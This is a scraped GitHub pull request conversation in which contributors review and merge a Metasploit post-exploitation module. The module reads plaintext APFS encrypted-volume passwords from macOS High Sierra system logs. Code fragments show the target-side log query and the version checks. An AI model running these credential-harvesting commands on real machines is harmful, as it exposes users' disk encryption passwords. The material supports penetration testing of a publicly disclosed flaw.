-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add OSX High Sierra APFS volume password disclosure #9784
Conversation
def check | ||
osx_version = cmd_exec('sw_vers -productVersion') | ||
# Would using Gem::Version checking be faster? | ||
return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should be =~
rather than ~=
Also, this check will also match 10.13.39999
and 99910.13.0
which may or may not cause false positives in the future. I'm not greatly familiar with the Mac OSX versioning scheme.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
from my experience, OSX versions are major.minor.patch
but I'll check the apple docs to see if theres any other info.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The conditional should probably look something like this:
if osx_version =~ /^10\.13\.[0-3]$/
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'" | ||
cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty? | ||
vprint_status "Running \"#{cmd}\" on target..." | ||
print_good cmd_exec(cmd) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print_good
even if the cmd_exec
fails ? What if the command returns no results?
def run | ||
return if check == CheckCode::Safe | ||
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'" | ||
cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Isn't this the reverse logic? Append unless datastore['MOUNT_PATH'].empty?
would make more sense.
osx_version = cmd_exec('sw_vers -productVersion') | ||
# Would using Gem::Version checking be faster? | ||
return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/ | ||
return CheckCode::Safe |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Superfluous return
Also make the output more reliable
Docs should be up by tonight. I'm not quite sure why it's failing the sanity test (or what that test is). It just needs to be tested. |
Sanity test will fail this weekend because we're in the process of moving things between data centers. Sorry about that. |
Ah okay, all good 👍 |
Jenkins test this please. |
Docs are finished. All that's left is testing. I will need some help with this as I don't own a High Sierra machine. Any help would be appreciated :) |
|
||
], | ||
'Platform' => 'osx', | ||
'Arch' => ARCH_X32, ARCH_X64 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
ARCH_ALL
# BuildVersion: 7A100 | ||
osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'') | ||
# Would using Gem::Version checking be more reliable? | ||
return CheckCode::Vulnerable if osx_version =~ /^10\.13\.[0-3]$/ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Assuming 10.13.0 is vulnerable, we should do:
if osx_version =~ /^10\.13[\.[0-3]]?$/
to match 10.13
$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.13
BuildVersion: 17A365
end | ||
|
||
def run | ||
return if check == CheckCode::Safe |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Exploit::CheckCode::Safe
?
Otherwise:
[-] Post failed: NameError uninitialized constant Msf::Modules::Mod706f73742f6f73782f6761746865722f617066735f656e637279707465645f766f6c756d655f706173737764::MetasploitModule::CheckCode
|
||
def run | ||
return if check == CheckCode::Safe | ||
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think log show
rather than log stream
, so that the command returns.
If not the command never returns and the session dies.
# ProductName: macOS | ||
# ProductVersion: 10.12 | ||
# BuildVersion: 7A100 | ||
osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
just do osx_version = cmd_exec('sw_vers -productVersion')
Also fix a bug in check()
Hmm I'm not seeing an option to format in APFS on 10.13.0 |
Should I revert it back to the previous command (grep the full output)? |
No sorry I'm struggling to reproduce the bug. APFS is not a formatting option. |
are using the Application or the command line tool? |
@timwr Here's a few things that may work for formatting: https://superuser.com/questions/1097016/format-disk-with-apfs-the-new-apple-file-system#1110991 https://www.macobserver.com/tips/quick-tip/experiment-apfs-drive-heres-how-format-apfs/ |
And the command you can use to encrypt the drive is
|
I guess we could try match |
|
||
], | ||
'Platform' => 'osx', | ||
'Arch' => ARCH_ALL |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm surprised our automated testing did not pick up the missing comma here
I kind of did that in my last commit. I matched for |
else | ||
successful_lines = 0 | ||
results.lines.each do |l| | ||
s = l.split(' ')[11..-1].join # Just the command executed |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was getting an error here:
[-] Post failed: NoMethodError undefined method
join' for nil:NilClass`
Please see cbrnrd#1
match newfs_apfs regex
Anything new @timwr? |
Apologies for the delay, it works so I think we can just land this as-is unless anyone has any further comments. |
Okay great, thanks! |
Minor tweaks: 72cd97d |
Landed, thanks @cbrnrd ! |
Release NotesThe post/osx/gather/apfs_encrypted_volume_passwd module has been added to the framework. It recovers the password of an APFS encrypted volume from the logs of the Disk Utility app. Volumes encrypted on macOS High Sierra versions 10.13.0-10.13.2 are vulnerable. |
This PR adds a module that uses a vulnerability in OSX's
log
command to get plaintext passwords of encrypted APFS volumes. This command is taken from this article and should be tested (for accuracy mainly). If it doesn't work, I will fall back to the command used in the POC.Verification
msfconsole
use post/osx/gather/apfs_encrypted_volume_passwd
MOUNT_PATH
option works as it should